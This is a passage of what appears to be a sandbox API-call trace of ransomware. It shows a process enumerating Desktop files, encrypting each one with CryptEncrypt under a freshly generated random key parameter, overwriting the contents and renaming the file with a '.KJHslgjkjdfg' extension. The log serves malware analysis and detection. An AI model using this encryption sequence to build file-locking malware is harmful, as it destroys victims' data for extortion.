dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.309] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.309] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x134e9, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x134e9, lpOverlapped=0x0) returned 1 [0127.310] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x134f0, dwBufLen=0x134f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x134f0) returned 1 [0127.311] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.311] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x134f0, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x134f0, lpOverlapped=0x0) returned 1 [0127.311] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.311] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x135c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.311] SetEndOfFile (hFile=0xb8) returned 1 [0127.315] GetProcessHeap () returned 0x2a0000 [0127.315] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.315] GetProcessHeap () returned 0x2a0000 [0127.315] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.315] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\Q-l-sU3Aq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\q-l-su3aq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\Q-l-sU3Aq.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\q-l-su3aq.mp3.kjhslgjkjdfg")) returned 1 [0127.319] CloseHandle (hObject=0xb8) returned 1 [0127.319] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77dbcfd0, ftCreationTime.dwHighDateTime=0x1d5dd89, ftLastAccessTime.dwLowDateTime=0x1d4fe730, ftLastAccessTime.dwHighDateTime=0x1d5decf, ftLastWriteTime.dwLowDateTime=0x1d4fe730, ftLastWriteTime.dwHighDateTime=0x1d5decf, nFileSizeHigh=0x0, nFileSizeLow=0x316b, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="qFv2xxBTGjIdUTK.swf", cAlternateFileName="QFV2XX~1.SWF")) returned 1 [0127.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\qFv2xxBTGjIdUTK.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\qfv2xxbtgjidutk.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.319] GetProcessHeap () returned 0x2a0000 [0127.319] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.319] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.319] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.319] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x5, lpOverlapped=0x0) returned 1 [0127.321] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.321] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.321] GetProcessHeap () returned 0x2a0000 [0127.321] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.321] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50) returned 1 [0127.321] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.321] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fa08*=0x50, lpOverlapped=0x0) returned 1 [0127.321] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.321] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.321] WriteFile (in: hFile=0xb8, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.321] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.321] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.322] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.322] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.322] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.322] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x316b, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x316b, lpOverlapped=0x0) returned 1 [0127.322] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x3170, dwBufLen=0x3170 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x3170) returned 1 [0127.322] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.322] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3170, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x3170, lpOverlapped=0x0) returned 1 [0127.322] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.322] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x3254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.322] SetEndOfFile (hFile=0xb8) returned 1 [0127.325] GetProcessHeap () returned 0x2a0000 [0127.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.326] GetProcessHeap () returned 0x2a0000 [0127.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.326] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\qFv2xxBTGjIdUTK.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\qfv2xxbtgjidutk.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\qFv2xxBTGjIdUTK.swf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\qfv2xxbtgjidutk.swf.kjhslgjkjdfg")) returned 1 [0127.329] CloseHandle (hObject=0xb8) returned 1 [0127.329] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b41e630, ftCreationTime.dwHighDateTime=0x1d5dc47, ftLastAccessTime.dwLowDateTime=0x6711a2b0, ftLastAccessTime.dwHighDateTime=0x1d5deba, ftLastWriteTime.dwLowDateTime=0x6711a2b0, ftLastWriteTime.dwHighDateTime=0x1d5deba, nFileSizeHigh=0x0, nFileSizeLow=0x11a9, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="RQ6cNQuUEDfxzqZ.gif", cAlternateFileName="RQ6CNQ~1.GIF")) returned 1 [0127.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\RQ6cNQuUEDfxzqZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\rq6cnquuedfxzqz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.329] GetProcessHeap () returned 0x2a0000 [0127.329] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.329] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.329] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.329] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x7, lpOverlapped=0x0) returned 1 [0127.330] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.330] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.330] GetProcessHeap () returned 0x2a0000 [0127.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.330] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50) returned 1 [0127.330] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.330] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fa08*=0x50, lpOverlapped=0x0) returned 1 [0127.330] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.331] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.331] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.331] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.331] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.331] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.331] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.331] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.331] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11a9, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x11a9, lpOverlapped=0x0) returned 1 [0127.331] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x11b0, dwBufLen=0x11b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x11b0) returned 1 [0127.331] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.331] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11b0, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x11b0, lpOverlapped=0x0) returned 1 [0127.331] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.331] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.331] SetEndOfFile (hFile=0xb8) returned 1 [0127.334] GetProcessHeap () returned 0x2a0000 [0127.334] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.334] GetProcessHeap () returned 0x2a0000 [0127.334] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.334] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\RQ6cNQuUEDfxzqZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\rq6cnquuedfxzqz.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\RQ6cNQuUEDfxzqZ.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\rq6cnquuedfxzqz.gif.kjhslgjkjdfg")) returned 1 [0127.337] CloseHandle (hObject=0xb8) returned 1 [0127.337] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b636610, ftCreationTime.dwHighDateTime=0x1d5dc21, ftLastAccessTime.dwLowDateTime=0x92b86950, ftLastAccessTime.dwHighDateTime=0x1d5e593, ftLastWriteTime.dwLowDateTime=0x92b86950, ftLastWriteTime.dwHighDateTime=0x1d5e593, nFileSizeHigh=0x0, nFileSizeLow=0xbe92, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="VAmcoChpQIFwayMz.bmp", cAlternateFileName="VAMCOC~1.BMP")) returned 1 [0127.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\VAmcoChpQIFwayMz.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\vamcochpqifwaymz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.337] GetProcessHeap () returned 0x2a0000 [0127.337] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.337] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.337] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.337] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0xe, lpOverlapped=0x0) returned 1 [0127.338] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.338] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.338] GetProcessHeap () returned 0x2a0000 [0127.339] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.339] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50) returned 1 [0127.339] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.339] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fa08*=0x50, lpOverlapped=0x0) returned 1 [0127.339] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.339] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.339] WriteFile (in: hFile=0xb8, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.339] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.339] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.339] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.339] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.339] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.340] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbe92, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0xbe92, lpOverlapped=0x0) returned 1 [0127.340] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0xbea0, dwBufLen=0xbea0 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0xbea0) returned 1 [0127.341] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.341] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbea0, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0xbea0, lpOverlapped=0x0) returned 1 [0127.341] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.341] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0xbf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.341] SetEndOfFile (hFile=0xb8) returned 1 [0127.344] GetProcessHeap () returned 0x2a0000 [0127.344] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.344] GetProcessHeap () returned 0x2a0000 [0127.344] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.344] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\VAmcoChpQIFwayMz.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\vamcochpqifwaymz.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\VAmcoChpQIFwayMz.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\vamcochpqifwaymz.bmp.kjhslgjkjdfg")) returned 1 [0127.345] CloseHandle (hObject=0xb8) returned 1 [0127.345] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1f52610, ftCreationTime.dwHighDateTime=0x1d5e359, ftLastAccessTime.dwLowDateTime=0x92af8510, ftLastAccessTime.dwHighDateTime=0x1d5df03, ftLastWriteTime.dwLowDateTime=0x92af8510, ftLastWriteTime.dwHighDateTime=0x1d5df03, nFileSizeHigh=0x0, nFileSizeLow=0x777d, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="vCFarXZGJnL5bOfTuR6.png", cAlternateFileName="VCFARX~1.PNG")) returned 1 [0127.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\vCFarXZGJnL5bOfTuR6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\vcfarxzgjnl5boftur6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.345] GetProcessHeap () returned 0x2a0000 [0127.345] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.345] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.345] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.345] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x3, lpOverlapped=0x0) returned 1 [0127.346] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.346] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.346] GetProcessHeap () returned 0x2a0000 [0127.346] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.346] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50) returned 1 [0127.346] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.346] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fa08*=0x50, lpOverlapped=0x0) returned 1 [0127.346] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.347] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.347] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.347] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.347] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.347] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.347] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.347] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.347] 